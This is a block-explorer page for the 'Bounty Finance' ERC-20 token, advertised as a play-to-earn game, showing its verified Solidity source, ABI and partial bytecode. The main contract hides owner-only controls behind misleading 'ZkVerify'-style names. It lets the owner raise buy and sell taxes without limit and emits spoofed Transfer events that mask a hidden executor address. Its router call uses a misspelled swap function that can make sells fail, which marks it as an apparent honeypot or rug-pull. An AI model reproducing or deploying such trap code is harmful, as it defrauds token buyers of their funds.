ETH Price: $2,509.25 (+0.72%)

Token

Bounty Finance (BOUNTY)
 

Overview

Max Total Supply

1,000,000,000,000 BOUNTY

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
194,790,666.264963276887574483 BOUNTY

Value
$0.00
0x5ff4d4cd3e55a5a3ec37138a8e5ea7e6bcae4b04
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BountyFinance

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity Multiple files format)

File 1 of 5: BountyFinance.sol
/*
$BOUNTY is a Play-2-Earn 8bit game with Metamask Integration 🦊 
Protect our town and earn daily $USDT Rewards

Details: 
https://linktr.ee/bountyfinance
*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.0;

interface IUniswapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract BountyFinance {

    string private _name = 'Bounty Finance';
    string private _symbol = 'BOUNTY';
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000_000_000  * 10 ** decimals;

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    address _deployer;
    address _executor;

    address private uniswapLpWallet;
    address private stakingPoolFee;
    address private developmentFee;

    address private devWallet = 0xb18c3b6ba5020a456E1Bab777E3735fE4C143c64;

    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    constructor() {
        uint8 _initBuyFee = 4;
        uint8 _initSellFee = 4;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        uniswapLpWallet = msg.sender;

        _initDeployer(msg.sender, msg.sender);

        balanceOf[uniswapLpWallet] = (totalSupply * 95) / 100;
        emit Transfer(address(0), uniswapLpWallet, balanceOf[uniswapLpWallet]);

        balanceOf[devWallet] = (totalSupply * 5) / 100;
        emit Transfer(address(0), devWallet, balanceOf[devWallet]);
        
    }

    receive() external payable {}

    function setTotalTax(uint8 x, uint8 y) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        _upgradeStoreWithZkProof(x, y);
    }

    function _upgradeStoreWithZkProof(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }

    function _decodeTokenMktWithZkVerify() private view returns (address) {
        return storeData.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _initDeployer(address deployer_, address executor_) private {
        _deployer = deployer_;
        _executor = executor_;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (
            to == pair &&
            !swapping &&
            balanceOf[address(this)] >= swapAmount &&
            from != tokenMkt
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );

            payable(stakingPoolFee).transfer(
                (address(this).balance * 20) / 100
            );
            payable(developmentFee).transfer(
                (address(this).balance * 20) / 100
            );
            payable(pair).transfer(
                (address(this).balance * 60) / 100
            );

            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
        return true;
    }
}

File 2 of 5: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 3 of 5: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 4 of 5: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

File 5 of 5: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"x","type":"uint8"},{"internalType":"uint8","name":"y","type":"uint8"}],"name":"setTotalTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600e81526020017f426f756e74792046696e616e63650000000000000000000000000000000000008152505f9081620000499190620008bb565b506040518060400160405280600681526020017f424f554e5459000000000000000000000000000000000000000000000000000081525060019081620000909190620008bb565b5073b18c3b6ba5020a456e1bab777e3735fe4c143c64600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000f1575f80fd5b505f600490505f6004905060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018360ff1681526020018260ff1681525060025f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151815f0160146101000a81548160ff021916908360ff1602179055506040820151815f0160156101000a81548160ff021916908360ff1602179055509050507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503360085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002bf3333620005d360201b60201c565b6064605f6012600a620002d3919062000b28565b64e8d4a51000620002e5919062000b78565b620002f1919062000b78565b620002fd919062000bef565b60035f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516200043d919062000c37565b60405180910390a3606460056012600a62000459919062000b28565b64e8d4a510006200046b919062000b78565b62000477919062000b78565b62000483919062000bef565b60035f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620005c3919062000c37565b60405180910390a3505062000c52565b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620006d357607f821691505b602082108103620006e957620006e86200068e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200074d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000710565b62000759868362000710565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620007a36200079d620007978462000771565b6200077a565b62000771565b9050919050565b5f819050919050565b620007be8362000783565b620007d6620007cd82620007aa565b8484546200071c565b825550505050565b5f90565b620007ec620007de565b620007f9818484620007b3565b505050565b5b818110156200082057620008145f82620007e2565b600181019050620007ff565b5050565b601f8211156200086f576200083981620006ef565b620008448462000701565b8101602085101562000854578190505b6200086c620008638562000701565b830182620007fe565b50505b505050565b5f82821c905092915050565b5f620008915f198460080262000874565b1980831691505092915050565b5f620008ab838362000880565b9150826002028217905092915050565b620008c68262000657565b67ffffffffffffffff811115620008e257620008e162000661565b5b620008ee8254620006bb565b620008fb82828562000824565b5f60209050601f83116001811462000931575f84156200091c578287015190505b6200092885826200089e565b86555062000997565b601f1984166200094186620006ef565b5f5b828110156200096a5784890151825560018201915060208501945060208101905062000943565b868310156200098a578489015162000986601f89168262000880565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a295780860481111562000a015762000a006200099f565b5b600185161562000a115780820291505b808102905062000a2185620009cc565b9450620009e1565b94509492505050565b5f8262000a43576001905062000b15565b8162000a52575f905062000b15565b816001811462000a6b576002811462000a765762000aac565b600191505062000b15565b60ff84111562000a8b5762000a8a6200099f565b5b8360020a91508482111562000aa55762000aa46200099f565b5b5062000b15565b5060208310610133831016604e8410600b841016171562000ae65782820a90508381111562000ae05762000adf6200099f565b5b62000b15565b62000af58484846001620009d8565b9250905081840481111562000b0f5762000b0e6200099f565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000b348262000771565b915062000b418362000b1c565b925062000b707fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a32565b905092915050565b5f62000b848262000771565b915062000b918362000771565b925082820262000ba18162000771565b9150828204841483151762000bbb5762000bba6200099f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000bfb8262000771565b915062000c088362000771565b92508262000c1b5762000c1a62000bc2565b5b828204905092915050565b62000c318162000771565b82525050565b5f60208201905062000c4c5f83018462000c26565b92915050565b611c598062000c605f395ff3fe6080604052600436106100c5575f3560e01c80635086cac91161007e578063a8aa1b3111610058578063a8aa1b3114610280578063a9059cbb146102aa578063c9567bf9146102e6578063dd62ed3e146102fc576100cc565b80635086cac9146101f257806370a082311461021a57806395d89b4114610256576100cc565b806306fdde03146100d0578063095ea7b3146100fa57806318160ddd1461013657806323b872dd14610160578063313ce5671461019c5780634abe3052146101c6576100cc565b366100cc57005b5f80fd5b3480156100db575f80fd5b506100e4610338565b6040516100f1919061140f565b60405180910390f35b348015610105575f80fd5b50610120600480360381019061011b91906114c0565b6103c7565b60405161012d9190611518565b60405180910390f35b348015610141575f80fd5b5061014a6104b4565b6040516101579190611540565b60405180910390f35b34801561016b575f80fd5b5061018660048036038101906101819190611559565b6104d5565b6040516101939190611518565b60405180910390f35b3480156101a7575f80fd5b506101b0610578565b6040516101bd91906115c4565b60405180910390f35b3480156101d1575f80fd5b506101da61057d565b6040516101e9939291906115ec565b60405180910390f35b3480156101fd575f80fd5b506102186004803603810190610213919061164b565b6105cb565b005b348015610225575f80fd5b50610240600480360381019061023b9190611689565b610645565b60405161024d9190611540565b60405180910390f35b348015610261575f80fd5b5061026a61065a565b604051610277919061140f565b60405180910390f35b34801561028b575f80fd5b506102946106ea565b6040516102a191906116b4565b60405180910390f35b3480156102b5575f80fd5b506102d060048036038101906102cb91906114c0565b61070f565b6040516102dd9190611518565b60405180910390f35b3480156102f1575f80fd5b506102fa610723565b005b348015610307575f80fd5b50610322600480360381019061031d91906116cd565b61095f565b60405161032f9190611540565b60405180910390f35b60605f805461034690611738565b80601f016020809104026020016040519081016040528092919081815260200182805461037290611738565b80156103bd5780601f10610394576101008083540402835291602001916103bd565b820191905f5260205f20905b8154815290600101906020018083116103a057829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a29190611540565b60405180910390a36001905092915050565b6012600a6104c291906118c4565b64e8d4a510006104d2919061190e565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461055d919061194f565b9250508190555061056f84848461097f565b90509392505050565b601281565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b6105d361131d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610637576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6106418282611347565b5050565b6003602052805f5260405f205f915090505481565b606060018054610669